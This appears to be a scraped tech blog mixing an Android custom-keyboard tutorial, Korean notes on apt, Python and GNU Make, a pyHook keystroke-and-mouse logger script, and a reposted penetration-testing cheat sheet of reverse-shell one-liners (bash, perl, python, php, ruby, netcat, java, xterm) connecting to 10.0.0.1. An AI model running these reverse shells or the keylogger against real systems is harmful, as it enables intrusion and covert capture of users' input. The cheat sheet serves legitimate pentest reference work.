It is possible to add android:horizontalGap and/or android:verticalGap on keyboard level. This is most useful when we want to add a tiny amount of space between all keys. It is tempting to do that in pixels, but this interferes with the key size (width/height) in percentages; they no longer add up to 100%.

I cannot find the spec of horizontalGap, but as this example demonstrates, the gap is before the key that carries the horizontalGap attribute. However, when we add a horizontalGap (on Keyboard level) that is greater than 0, the horizontalGap (on Key level) no longer creates a gap before but now after the key that carries the horizontalGap attribute. To me, this looks like a bug...

Jan had a nasty surprise on his Nexus 4 with KitKat: the landscape rendering is wrong: horizontalGap is after the key, while in portrait it is before! When I tested it on a Nexus 5 with KitKat, I had a similar nasty surprise: for me the the portrait mode is wrong (gaps after key instead of before), and landscape is ok. Jan ended up adding horizontalGap attribute of 1px to Keyboard. But if the first item of the keyboard row has a drawable (as he had it in the last row; that's where he put the hide keyboard key), the behaviour reverses for that key, making it impossible to add a gap after that key...

The keyEdgeFlags are a bit magic. In all the examples I found, the attribute android:keyEdgeFlags="left" is at the left most key in a row and the android:keyEdgeFlags="right" is at the right most key. But when absent, the keyboard still layout's nicely. Because every body seems to do it, I included these flags too. The documentation suggest it has to do with handling touch events: "Flags that specify the anchoring to edges of the keyboard for detecting touch events that are just out of the boundary of the key."

3.4.3. Key labels

The next issue to settle is the labels on the buttons. There are two options: strings and drawables.

String are associated with the attribute keyLabel. As an example, consider the single character labels android:keyLabel="0" or android:keyLabel="A", or the multi character labels android:keyLabel="CLR" orandroid:keyLabel="NEXT". Jan points out that multi character labels have a smaller font than single character labels because they use labelTextSize instead of keyTextSize, see documentation.

Drawables are associated with the attribute keyIcon. As an example consider android:keyIcon="@drawable/sym_keyboard_allleft" shown below.


The drawable "sym_keyboard_allleft.png"

Please be aware that smaller screens still need some precaution. The figure below shows the same keyboard on a phone. Notice that the icons are too big (this can probably be fixed by including the icons in several resolutions in the res/drawable_xxx directories) and that even plain text labels might become too big ('prev' and 'next' are on the border).


Problems on smaller screens

I have no idea how to change the background color of some keys as is done with the shift/tab/backspace key in the standard keyboard. Will Verduzco wrote a followup article, that touches on the subject of styling.

3.4.4. Key codes

When a key is pressed,the KeyboardView calls the onKey() of its OnKeyboardActionListener. It passes the key code of the key. The key codes are declared in the xml file. For example, for the 'A' key we use the key code 65.

The keyboard is completely app specific: the application has to provide the key handling in the onKey(). This means that the key codes can be chosen freely. Nevertheless, the key handler becomes simpler if we use some standard (e.g. Unicode) for plain keys. And that's what we did in the example.

For the non plain keys (cursor movement, delete), we pick some arbitrary number; the example uses 55000 and higher.

When there is no keyCode, the KeyboardView derives a code from the label. When key android:keyLabel="A" does not have a key code, its gets 65! When key android:keyLabel="PREV" does not have a key code, its gets 80 (the Unicode of 'P' is 80). When a key does not have a code, nor a label, an exception is raised.

A nice feature is the attribute android:isRepeatable="true". It makes the key auto repeat as long as it is pressed. We have used this for the cursor movement and delete.

If we look at the details, there is some unexpected flexibility. Each key may declare a list of key codes (with a maximum of twelve?), such as android:codes="65,66,67". When the key is pressed, the onKey(int primaryCode, int[] keyCodes) is called. The array keyCodes contains this list; it is always (?) twelve integers long where the start of the list has the declared key codes and the list is padded with -1's. The first element of the list is always passed as the primaryCode parameter. The documentation explains the use: "The alternatives will include other characters that may be on the same key or adjacent keys. These codes are useful to correct for accidental presses of a key adjacent to the intended key".

3.4.5. Key popups

An advanced feature is that a key can have a popup. It appears when the key is long pressed. This feature is known from the standard Android keyboard as well: the popup shows alternative keys. For example, a long press on 'e' typically shows 'é', 'è', 'ë' etc.


A popup for the 'A' key (on long press), the generic way

There are two ways to make a popup keyboard: generic and dedicated.

The dedicated way is to add an element to a key specifying a keyboard layout for the popup keyboard. For example, we could add android:popupKeyboard="@xml/newkeyboard" to some key. This requires an xml filenewkeyboard which has all the features of the main keyboard.

The generic way is to add an element to a key specifying the labels (with implict codes) of the popup keys. For example, we could add android:popupCharacters="aA" to the 'A' key. This does require require an xml file, but only with keyboard level attributes.

The key is decorated as follows.

<Key android:codes="65" android:keyLabel="A" android:popupKeyboard="@xml/popup" android:popupCharacters="aA" >

The popup.xml has the following content.

<?xml version="1.0" encoding="utf-8"?>
<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
    android:keyWidth="10%p"
    android:keyHeight="10%p">
</Keyboard>

3.5. The key handler

We have to write the key handler ourselves. For this, we add the red code to the creation of the keyboard.

// Create the Keyboard
Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

// Lookup the KeyboardView
KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
// Attach the keyboard to the view
mKeyboardView.setKeyboard( mKeyboard );

// Install the key handler
mKeyboardView.setOnKeyboardActionListener(mOnKeyboardActionListener);
...
}

As mentioned above, the OnKeyboardActionListener has an onKey(), but it has many more methods.

private OnKeyboardActionListener mOnKeyboardActionListener = new OnKeyboardActionListener() {
    @Override public void onKey(int primaryCode, int[] keyCodes) {
    }

    @Override public void onPress(int arg0) {
    }

    @Override public void onRelease(int primaryCode) {
    }

    @Override public void onText(CharSequence text) {
    }

    @Override public void swipeDown() {
    }

    @Override public void swipeLeft() {
    }

    @Override public void swipeRight() {
    }

    @Override public void swipeUp() {
    }
};

We only override the onKey(). It searches for the view in focus (if it is not an EditText, we abort). Then it executes an action based on the actual key code (for a list of key codes, see below).

@Override public void onKey(int primaryCode, int[] keyCodes) {
    // Get the EditText and its Editable
    View focusCurrent = MainActivity.this.getWindow().getCurrentFocus();
    if( focusCurrent==null || focusCurrent.getClass()!=EditText.class ) return;
    EditText edittext = (EditText) focusCurrent;
    Editable editable = edittext.getText();
    int start = edittext.getSelectionStart();
    // Handle key
    if( primaryCode==CodeCancel ) {
        hideCustomKeyboard();
    } else if( primaryCode==CodeDelete ) {
        if( editable!=null && start>0 ) editable.delete(start - 1, start);
    } else if( primaryCode==CodeClear ) {
        if( editable!=null ) editable.clear();
    } else if( primaryCode==CodeLeft ) {
        if( start>0 ) edittext.setSelection(start - 1);
    } else if( primaryCode==CodeRight ) {
        if (start < edittext.length()) edittext.setSelection(start + 1);
    } else if( primaryCode==CodeAllLeft ) {
        edittext.setSelection(0);
    } else if( primaryCode==CodeAllRight ) {
        edittext.setSelection(edittext.length());
    } else if( primaryCode==CodePrev ) {
        View focusNew= edittext.focusSearch(View.FOCUS_BACKWARD);
        if( focusNew!=null ) focusNew.requestFocus();
    } else if( primaryCode==CodeNext ) {
        View focusNew= edittext.focusSearch(View.FOCUS_FORWARD);
        if( focusNew!=null ) focusNew.requestFocus();
    } else {// Insert character
        editable.insert(start, Character.toString((char) primaryCode));
    }
}

The key codes are the codes used in the xml file; they have constants in the java class.

public final static int CodeDelete   = -5; // Keyboard.KEYCODE_DELETE
public final static int CodeCancel   = -3; // Keyboard.KEYCODE_CANCEL
public final static int CodePrev     = 55000;
public final static int CodeAllLeft  = 55001;
public final static int CodeLeft     = 55002;
public final static int CodeRight    = 55003;
public final static int CodeAllRight = 55004;
public final static int CodeNext     = 55005;
public final static int CodeClear    = 55006;

3.6. When to show or hide the custom keyboard

One of the hardest issues with the KeyboardView is making it visible at the right time. There is only one thing harder: making the standard keyboard invisible at the same time!

Let's start by writing the methods that show respectively hide the custom keyboard. After that, we focus on when to call them.

public void hideCustomKeyboard() {
    mKeyboardView.setVisibility(View.GONE);
    mKeyboardView.setEnabled(false);
}

public void showCustomKeyboard( View v ) {
    mKeyboardView.setVisibility(View.VISIBLE);
    mKeyboardView.setEnabled(true);
    if( v!=null ) ((InputMethodManager)getSystemService(Activity.INPUT_METHOD_SERVICE)).hideSoftInputFromWindow(v.getWindowToken(), 0);
}

public boolean isCustomKeyboardVisible() {
    return mKeyboardView.getVisibility() == View.VISIBLE;
}

The showCustomKeyboard() will be called when and EditText is getting focus. We not only show the custom keyboard, but also actively switch off the standard keyboard.

Now to when to show or hide the custom keyboard. The model that we use is that our custom keyboard is "coupled" to one (or more) EditTexts. When a "coupled" EditText has focus the custom keyboard should be visible. By setting the OnFocusChangeListener of the EditText, we can show the custom keyboard when the edit box gets focus, but also hide it when the edit box loses focus.

// Find the EditText
EditText edittext= (EditText)findViewById(...);

// Make the custom keyboard appear
edittext.setOnFocusChangeListener(new OnFocusChangeListener() {
    @Override public void onFocusChange(View v, boolean hasFocus) {
        if( hasFocus ) showCustomKeyboard(v); else hideCustomKeyboard();
    }
});

However, this listener only gets called at the transition of getting (or losing) focus. If the EditText has focus, but the keyboard is hidden (e.g. after pressing the hide keyboard button) how can the user make it visible again? The standard keyboard allows a re-tap of the EditText in focus. Let's mimick that.

edittext.setOnClickListener(new OnClickListener() {
    @Override public void onClick(View v) {
        showCustomKeyboard(v);
    }
});

We are nearly there. When our activity starts, with a coupled EditText in focus, the standard keyboard is displayed. If have no idea why, I would expect the last statement in showCustomKeyboard() would have hidden it, but it hasn't. We add one more line (the red one) to the creation of the keyboard.

// Create the Keyboard
Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

// Lookup the KeyboardView
KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
// Attach the keyboard to the view
mKeyboardView.setKeyboard( mKeyboard );

// Install the key handler
mKeyboardView.setOnKeyboardActionListener(mOnKeyboardActionListener);

// Hide the standard keyboard initially
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
...
}

As a final step, we would like the back button of the activity to close the custom keyboard (if it is open). Therefore, we add the following code to our activity.

@Override public void onBackPressed() {
    if( isCustomKeyboardVisible() ) hideCustomKeyboard(); else this.finish();
}

Still, Android is persistent in poping up the standard keybaord. There is one certain way to stop Android doing this: add edittext.setInputType(InputType.TYPE_NULL) to tell Android that we won't be doing any editing on the EditText. However, this has one small issue, Android won't be showing a cursor. And no, edittext.setCursorVisible(true) doesn't help (I consider this a bug).


A cursor in an EditText.

If you don't need a cursor, you're done. But we want a cursor: we have added cursor keys in our custom keyboard. So, we can not set the input type to null, we set it to text. As a result, we have to standard keyboard poping up.

I found the following work around on the web (forgot where...). The trick is to have the input type set to text (so that the cursor is always visible), but just before a key press, we set input type to none and call the base class handler. This way, the base class handler only sees input type none and does not pop up the standard keyboard.

edittext.setOnTouchListener(new OnTouchListener() {
    @Override public boolean onTouch(View v, MotionEvent event) {
        EditText edittext = (EditText) v;
        int inType = edittext.getInputType();       // Backup the input type
        edittext.setInputType(InputType.TYPE_NULL); // Disable standard keyboard
        edittext.onTouchEvent(event);               // Call native handler
        edittext.setInputType(inType);              // Restore input type
        return true; // Consume touch event
    }
});

3.7. But I have multiple EditTexts

It is not uncommon that multiple EditTexts need the same custom keyboard. We can solve that be writing all EditText related code in a registerEditText method, and call it for all the EditTexts that need the keyboard.

public void registerEditText(int resid) {
    // Find the EditText 'resid'
    EditText edittext= (EditText)findViewById(resid);
    // Make the custom keyboard appear
    edittext.setOnFocusChangeListener(new OnFocusChangeListener() {
        @Override public void onFocusChange(View v, boolean hasFocus) {
            if( hasFocus ) showCustomKeyboard(v); else hideCustomKeyboard();
        }
    });
    edittext.setOnClickListener(new OnClickListener() {
        @Override public void onClick(View v) {
            showCustomKeyboard(v);
        }
    });
    // Disable standard keyboard hard way
    edittext.setOnTouchListener(new OnTouchListener() {
        @Override public boolean onTouch(View v, MotionEvent event) {
            EditText edittext = (EditText) v;
            int inType = edittext.getInputType();       // Backup the input type
            edittext.setInputType(InputType.TYPE_NULL); // Disable standard keyboard
            edittext.onTouchEvent(event);               // Call native handler
            edittext.setInputType(inType);              // Restore input type
            return true; // Consume touch event
        }
    });
    // Disable spell check (hex strings look like words to Android)
    edittext.setInputType( edittext.getInputType() | InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS );
}

4. Convert to a class

To make it easier to use a custom keyboard; we can move all keyboard code to a seperate class.

package nl.fampennings.keyboard;
...

class CustomKeyboard {

    private KeyboardView mKeyboardView;
    private Activity     mHostActivity;

    private OnKeyboardActionListener mOnKeyboardActionListener = new OnKeyboardActionListener() {
        @Override public void onKey(int primaryCode, int[] keyCodes) {
            ...
        }
        ...
    };

    public CustomKeyboard(Activity host, int viewid, int layoutid) {
        ...
    }

    public boolean isCustomKeyboardVisible() {
        ...
    }

    public void showCustomKeyboard( View v ) {
        ...
    }

    public void hideCustomKeyboard() {
        ...
    }

    public void registerEditText(int resid) {
        ...
    }

}

The activity then just registers the EditTexts.

package nl.fampennings.keyboard;

import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity {

    CustomKeyboard mCustomKeyboard;

    @Override protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mCustomKeyboard= new CustomKeyboard(this, R.id.keyboardview, R.xml.hexkbd );

        mCustomKeyboard.registerEditText(R.id.edittext0);
        // mCustomKeyboard.registerEditText(R.id.edittext1);
        // mCustomKeyboard.registerEditText(R.id.edittext2);
        mCustomKeyboard.registerEditText(R.id.edittext3);
        mCustomKeyboard.registerEditText(R.id.edittext4);
    }

    @Override public void onBackPressed() {
        if( mCustomKeyboard.isCustomKeyboardVisible() ) mCustomKeyboard.hideCustomKeyboard(); else this.finish();
    }

}

Download the source of this article.

Posted by k1rha
2014. 6. 16. 11:08


W: 디지털 서명 확인에 오류가 발생했습니다. 저장고를 업데이트하지 않고

예전의 인덱스 파일을 사용합니다. GPG 오류: http://kr.archive.ubuntu.com precise-updates Release: 다음 서명이 올바르지 않습니다: BADSIG 40976EAF437D05B5 Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>


W: http://kr.archive.ubuntu.com/ubuntu/dists/precise-updates/Release 파일을 받는데 실패했습니다  


W: Some index files failed to download. They have been ignored, or old ones used instead.

k1rha@k1rh4:/home/LLVM$ 




[출처 : http://bunhere.tistory.com/1 ]


빌드 스크립트를 만들어 패키지 업데이트 하고, 소스 컴파일을 하도록 하다보니, 왕왕 삽질하는 경우가 있었는데, 남이 만든 스크립트를 갖다 쓰다 왕창 삽질을 하고 말았다.

 

[문제]apt-get update시 아래 에러 메시지 발생(키가 다르지만 비슷)

W: GPG error: http://archive.ubuntu.com hoary Release: The following signatures
were invalid: BADSIG 40976EAF437D05B5 Ub
untu Archive Automatic Signing Key

삽질 1>

시냅틱 매니저를 띄워서 리로드를 해봐도 403 Unauthentication (맞나?)와 함께 갱신이 안됨

(서버를 변경해보면서 해봐도 안됨, http_proxy 체크해봄)

 

삽질 2>

GPG 키에 문제가 있나 싶어 gpg key를 새로 받아봄

(기존에 있는 것은 지워도 봄 - 지우면 NO_PUBKEY 에러가 발생)

gpg --keyserver wwwkeys.eu.pgp.net --recv-keys 010908312D230C5F

gpg --armor --export 010908312D230C5F| apt-key add -

키서버는 우분투에 있는걸 해도 관계 없을듯.

 

해결책>

https://bugs.launchpad.net/ubuntu/+source/update-manager/+bug/24061

apt-get clean
cd /var/lib/apt
mv lists lists.old
mkdir -p lists/partial
apt-get clean
apt-get update

그냥 패키지가 꼬였던 듯 -_-;


원본 위치 <http://bunhere.tistory.com/1

Posted by k1rha
2014. 6. 1. 17:08

python iterator 관련 tiertools 패키지 및 메소드 정리 



http://docs.python.org/2/library/itertools.html


from itertools import *

 

 

 

count(n) : n 부터 시작하는 정수,증가하는 이터레이터

 

cycle(list) : list반복하는 it

 

repeat(elem, n) : elem을 n번 반복하는 이터레이터

 

chain(p,q) : p에 q를 붙인 it

 

compress(data, selector) : data에서 selector에 충족하는것만

 

dropwhile(pred,seq) : pred에 seq를 대입해서 참일때까지 떨구고, 나머지부터 iter

 

takewhile() : 조건이 참일때까지 iterate.

 

ifilter(pred,seq) : 이터레이터 필터, seq중에 조건에 참인걸 나타냄

 

ifilerfalse(pres, seq) : 거짓인걸 나타냄

 

imap(func, p, q) iterator map   ex imap(pow,(2,3,10), (5,2,3))

 

strmap(func, seq) : ex strmap(pow, [(2,5),(3,2),(10,3)])

 

tee(it, n) : 한 이터레이터를 n개로 나눈다. 라고 써있는것같은데.. 복사인듯, n개의 it가 각각 같은 반복을 함..

 

 

 

이건 수학시간때 배웠을법한.. 경우의수인가..

product('ABCD', repeat=2)  

AA AB AC AD 

BA BB BC BD 

CA CB CC CD 

DA DB DC DD

 

permutations('ABCD', 2)

AB AC AD BA 

BC BD CA CB 

CD DA DB DC

 

combinations('ABCD', 2)

AB AC AD BC BD CD

 

combinations_with_replacement('ABCD', 2)

AA AB AC AD 

BB BC BD 

CC CD 

DD




Posted by k1rha
2014. 6. 1. 17:03

python string 관련 메소드 정리



import string


print string.digits

print string.ascii_letters

print string.punctuation

print string.uppercase

print string.lowercase


---------- result -----------------

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

ABCDEFGHIJKLMNOPQRSTUVWXYZ

abcdefghijklmnopqrstuvwxyz

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

[Finished in 0.2s]


Posted by k1rha
2014. 5. 24. 16:21

키보드 마우스 후킹 ( Key Mouse Event hooking ) 

pyHook 이 너무 라이브러리가 잘되어 있다. 

MouseEvent , Keyboard Hook 외에도 아래 사이트를 참조하면 라이브러리들에 대한 소개가 있음.

http://www.cs.unc.edu/Research/assist/doc/pyhook/public/pyHook.HookManager-module.html



import os

import time

import pyHook # http://sourceforge.net/projects/pyhook/

from win32gui import GetWindowRect, GetClassName, GetWindowText

##http://sourceforge.net/projects/pywin32/files/pywin32/Build216/



curTime = time.strftime("%Y%m%d_%H%M%S", time.localtime(time.time()))


if not os.path.exists("Messages"):

os.mkdir("Messages")

print "Make Message Directory "

f = open("Messages\\messages"+ curTime +".txt", "w")


def Log(logStr):

print "In logging "

print str(logStr)

f.write(logStr + "\n")


  

def OnMouseEvent(event):

print "On Mouse Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Position:' + str(event.Position))

Log('Wheel:' + str(event.Wheel))

Log('Injected:' + str(event.Injected))

Log('---')


# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


def OnKeyboardEvent(event):

print "On keyboard Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Ascii:' + str( event.Ascii) + str( chr(event.Ascii)))

Log('Key:' + str( event.Key))

Log('KeyID:' + str( event.KeyID))

Log('ScanCode:' + str( event.ScanCode))

Log('Extended:' + str( event.Extended))

Log('Injected:' + str( event.Injected))

Log('Alt' + str( event.Alt))

Log('Transition' + str( event.Transition))

Log('---')


# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


# create the hook mananger

hm = pyHook.HookManager()

# register two callbacks

hm.MouseAllButtonsDown = OnMouseEvent

hm.KeyDown = OnKeyboardEvent


# hook into the mouse and keyboard events

hm.HookMouse()

hm.HookKeyboard()


if __name__ == '__main__':

import pythoncom

pythoncom.PumpMessages()


Posted by k1rha
2014. 5. 23. 09:22

출처 :  [ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet ]


리버스 쉘 치트 시트 

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

Tags: , , , , , , , , ,

Posted in Shells


Posted by k1rha
2014. 5. 20. 19:39

[ 출처 : https://wiki.kldp.org/KoreanDoc/html/GNU-Make/GNU-Make-3.html ] 



3. 매크로(Macro) 와 확장자(Suffix) 규칙

3.1 매크로란 무엇인가? (What is Macro)

앞에서 매크로에 대해서 대충 언급을 했다. 프로그램을 짜본 사람이나 로터스, 한글, 엑셀 등의 모든 패키지에서 매크로라는 것을 사용하게 된다. 은연중에 매크로의 정의는 대충 짐작하고 있을 것이다. 이미 알고 있는바와 같이 매크로는 특정한 코드를 간단하게 표현한 것에 지나지 않는다. Makefile에서 사용되는 매크로는 비교적 그 사용법이 간단하기 때문에 금방 익혀서 사용할 정도가 된다.

매크로의 정의는 프로그램을 작성할 때 변수를 지정하는 것처럼 하면 된다. 그리고, 매크로를 사용하기 위해서는 $(..)을 이용하면 된다. 아래는 매크로의 간단한 예제이다.

=> 참고: 매크로의 사용에서 ${..}, $(..), $..를 모두 사용할 수 있습니다. 그러나 대부분의 책에서는 $(..) 을 사용하라고 권하는군요.

Makefile예제 4


OBJS = main.o read.o write.o

test : $(OBJS) <- (1)
gcc -o test $(OBJS)
                ..........

첫 번째 장에서 다루었던 예제와 거의 비슷하다. 매크로는 사실상 복잡한 것을 간단하게 표시한 것에 지나지 않는다. (1) 번을 매크로를 안 쓰고 표현한다면 아마 아래와 같이 될 것이다.

Makefile예제 5


test : main.o read.o write.o 
gcc -o test main.o read.o write.o

=> 참고: 예제 5가 더 쉽지 않느냐고 반문하는 사람은 매크로의 위력을 잘 모르는 사람입니다. 거의 모든 소프트웨어에서 매크로를 지원하는 이유를 한번 잘 생각해 봅시다.예제 4 의 (1)부분이 이해하기 난해하다고 하실 지는 모르겠지만, 대충 형식이 정해져 있기 때문에 조금만 익숙해지면 오히려 더 편할 겁니다.

make에 관해 설명한 책에 다음과 같은 명언(?) 이 나온다.

Macro makes Makefile happy. (매크로는 Makefile 을 기쁘게 만든다.)

이 말은 Makefile을 작성함에 있어 매크로를 잘만 이용하면 복잡한 작업도 아주 간단하게 작성할 수 있음을 말해 주는 말이 아닐까 생각한다. 매크로에 대해서는 더 이상 말할 것이 없다. (너무 간단하죠 ?) 이제 남은 것은 여러분들이 자신의 매크로를 어떻게 구성하느냐이다. 어떤 것을 매크로로 정의해야 할지는 여러분들의 자유이며, 나중에 전반적인 지침을 설명할 것이다.

3.2 미리 정해져 있는 매크로 (Pre-defined macro)

여러분들보다 머리가 약간 더 좋은 사람들이 make 라는 것을 만들면서 미리 정해 놓은 매크로들이 있다. 'make -p' 라고 입력해 보면 make에서 미리 세팅되어 있던 모든 값들(매크로, 환경 변수(environment) 등등)이 엄청 스크롤 된다. 이 값들을 보고 미리 주눅 들 필요는 없다. 어차피 대부분의 내용들은 우리가 재정의 해주어야 하기 때문에 결론적으로 말하면 우리가 모두 작성한다고 생각하는 것이 마음이 편하다.,.

아래에는 대부분이 UNIX 계열의 make에서 미리 정해져 있는 매크로들 중에 몇 가지만 나열해 본 것이다.

Predefined Macro 예제 6


ASFLAGS = <- as 명령어의 옵션 세팅
AS = as
CFLAGS = <- gcc 의 옵션 세팅
CC = cc (= gcc)
CPPFLAGS = <- g++ 의 옵션
CXX = g++
LDLFAGS = <- ld 의 옵션 세팅
LD = ld
LFLAGS = <- lex 의 옵션 세팅
LEX = lex
YFLAGS = <- yacc 의 옵션 세팅
YACC = yacc
MAKE_COMMAND = make

=> 참고: 직접 make -p를 해서 한번 확인해 보세요. 과연 make는 내부적으로 어떤 변수들을 사용하고 있는지 알아봅시다. 매크로는 관습적으로 대문자로 작성되니까 이점에 유의해서 보세요. make는 쉘상에서 정의한 환경 변수값들을 그대로 이용한다는 것을 알고 계시기 바랍니다.

위에 열거한 매크로는 make에서 정의된 매크로중 그야말로 일부에 지나지 않는다. 하지만 프로그램을 작성함에 있어 가장 많이 사용하게 될 매크로 들이다. 이들 매크로는 사용자에 의해 재정의 가능하다. 가령 gcc의 옵션 중에 디버그 정보를 표시하는 '-g' 옵션을 넣고 싶다면, 아래와 같이 재정의 한다.

CFLAGS = -g

예제 6 의 각종 FLAG 매크로들은 대부분 우리가 필요에 의해 세팅해 주어야 하는 값들이다. 왜 굳이 make에서 값도 정의되지 않은 매크로를 우리가 정의해서 써야 하는지 의문을 던질지도 모른다. 우리가 더 이쁜 이름으로 매크로를 정의할 수도 있다고 하면서...

여기서 한가지 사실을 생각해 봐야 할 것이다. make에서 위에 나온 것들을 왜 미리 정해 두었을까? (왜일까요?) make에서 이들 매크로를 제공하고 있는 이유는 내부적으로 이들 매크로를 사용하게 되기 때문이다. 어떻게 이용하는지는 확장자 규칙(Suffix rule)을 설명하면서 해답을 제공할 것이다. 이제 예제 4 의 Makefile을 매크로를 이용하여 깔끔하게(?) 작성해 보자.

Makefile예제 7


OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c <- 없어도 됨

CC = gcc <- gcc 로 세팅
CFLAGS = -g -c <- gcc 의 옵션에 -g 추가

TARGET = test <- 결과 파일을 test 라고 지정

$(TARGET) : $(OBJECTS)
$(CC) -o $(TARGET) $(OBJECTS)

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c <- (1)
read.o : io.h read.c
write.o: io.h write.c

위의 Makefile 을 동작시켜 보자.

% make 
gcc -g -c main.c -o main.o
gcc -g -c read.c -o read.o
gcc -g -c write.c -o write.o
gcc -o test main.o read.o write.o <- OK

% make clean
rm -rf main.o read.o write.o test core <- OK

그런데 여기서 한가지 이상한 점을 발견하게 될 것이다. .c 파일을 .o 파일로 바꾸는 부분이 없는데 어떻게 컴파일이 되었을까? 빼먹고 타이핑 못한 것은 아닐까 하고... 절대 아님!

앞에서 CFLAGS 같은 매크로는 make 파일의 내부에서 이용된다고 하였다. 그렇다면 make는 과연 어디에서 이용을 할까? 바로 컴파일하는 곳에서 이용을 하는 것이다. 따라서 우리는 CFLAGS를 셋팅해 주기만 하면 make가 알아서 컴파일을 수행하는 것이다. (얼마나 편리합니까!)

=> 참고: 확장자 규칙에서 다시 한번 자세히 설명을 하겠습니다.

(1) 에 해당하는 부분은 어떤 파일이 어디에 의존하고 있는지를 표시해 주기 위해서 꼭 필요하다. .c 파일을 컴파일하는 부분은 일괄적인 루틴으로 작성할 수 있기 때문에 이들 파일간의 의존 관계(dependency)를 따로 표시해 주어야 한다.

=> 참고: 파일간의 의존 관계를 자동으로 작성해 주는 유틸리티가 있습니다. 이것은 다음 장에서 다루기로 합니다.

3.3 확장자 규칙 (Suffix rule)

확장자 규칙이란 간단히 말해서 파일의 확장자를 보고, 그에 따라 적절한 연산을 수행시키는 규칙이라고 말할 수 있다. 가령 .c 파일은 일반적으로 C 소스 코드를 가리키며, .o 파일은 목적 파일(Object file)을 말하고 있다. 그리고 당연히 .c 파일은 컴파일되어서 .o 파일이 되어야 하는 것이다.

